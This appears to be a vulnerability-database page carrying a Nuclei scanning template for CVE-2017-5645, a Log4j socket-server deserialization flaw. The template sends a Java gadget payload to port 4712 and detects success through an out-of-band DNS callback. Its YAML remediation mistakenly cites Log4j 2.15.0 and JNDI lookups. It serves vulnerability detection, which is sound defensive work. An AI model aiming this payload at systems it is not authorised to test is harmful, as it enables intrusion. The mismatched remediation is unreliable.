SecurityContext

CVE-2017-5645: Apache Log4j Server - Deserialization Command Execution

Classification

  • Cwe: CWE-502
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.89358
  • Epss percentile: 0.99788
  • Cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: log4j
  • Vendor: apache

Products

ProductIndexedUrl
apache:log4jyes/v1/products/apache/log4j

Labels

  • Name: Apache Log4j - Remote Code Execution
  • Impact: Attackers can execute arbitrary code remotely by sending malicious payloads, leading to full system compromise.
  • Remediation: Update to Log4j 2.8.2 or later.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2017-5645
  • Not known: requirements

```yaml

id: CVE-2017-5645

info:

name: Apache Log4j Server - Deserialization Command Execution

author: princechaddha

severity: critical

description: |

In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

impact: |

Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.

remediation: |

Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.

reference:

- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645

- https://nvd.nist.gov/vuln/detail/CVE-2017-5645

- http://www.openwall.com/lists/oss-security/2019/12/19/2

- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

- http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2017-5645

cwe-id: CWE-502

epss-score: 0.89358

epss-percentile: 0.99788

cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: apache

product: log4j

tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp,vuln

variables:

end: "\r\n"

tcp:

- host:

- "{{Hostname}}"

- "{{Host}}:4712"

inputs:

- data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"

read-size: 100

matchers:

- type: word

part: interactsh_protocol

words:

- dns

digest: 490a0046304402203a1273aa165d7db1b2ea9043f32e27a8f9156a838b4295a6bdbaf9be2212ff7a022054a5f55be6e47ae37686787ae46f89619b19d8531f4684513a702d9143f9d729:922c64590222798bb761d5b6d8e72950

```